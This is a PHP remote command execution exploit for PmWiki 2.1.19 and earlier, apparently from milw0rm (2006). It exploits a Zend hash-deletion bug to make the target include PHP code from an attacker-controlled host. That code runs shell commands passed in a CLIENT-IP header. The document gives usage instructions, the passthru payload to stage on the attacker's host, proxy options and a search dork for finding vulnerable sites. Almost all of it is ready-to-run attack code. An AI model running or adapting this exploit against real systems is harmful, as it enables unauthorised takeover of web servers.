PmWiki <= 2.1.19 (Zend_Hash_Del_Key_Or_Index) Remote Exploit

#!/usr/bin/php -q -d short_open_tag=on <? print_r(' -------------------------------------------------------------------------------- PmWiki <= 2.1.19 Zend_Hash_Del_Key_Or_Index/remote commands execution exploit by rgod rgod@autistici.org site: http://retrogod.altervista.org dork: inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy -------------------------------------------------------------------------------- '); /* works with register_globals=On against PHP < 4.4.3, 5 <= PHP < 5.1.4 */ if ($argc<5) { print_r(' -------------------------------------------------------------------------------- Usage: php '.$argv[0].' host path http_loc cmd OPTIONS host: target server (ip/hostname) path: path to pmwiki http_loc: an http site with the code to include (without ending slash) cmd: a shell command Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -P1.1.1.1:80 php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -p81 Note: prepare this code in http://somehost.com/scripts/stdconfig.php/index.html : <?php error_reporting(0);set_time_limit(0);echo "my_delim"; passthru($_SERVER["HTTP_CLIENT_IP"]);die; ?> -------------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $http_loc=$argv[3]; $cmd=""; $port=80; $proxy=""; for ($i=4; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data ="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"FarmD\";\r\n\r\n"; $data.="$http_loc\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"-1778478215\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"-1304181425\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n"; $packet ="POST ".$p."pmwiki.php?n=PmWiki.BasicEditing?action=edit HTTP/1.0\r\n"; $packet.="CLIENT-IP: ".$cmd."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (strstr($html,"my_delim")){ echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]); } elseif (strstr($html,"failed to open stream")) {echo "*** adjust path... ***\n";die($html);} else {echo "exploit failed...";} ?> # milw0rm.com [2006-09-03]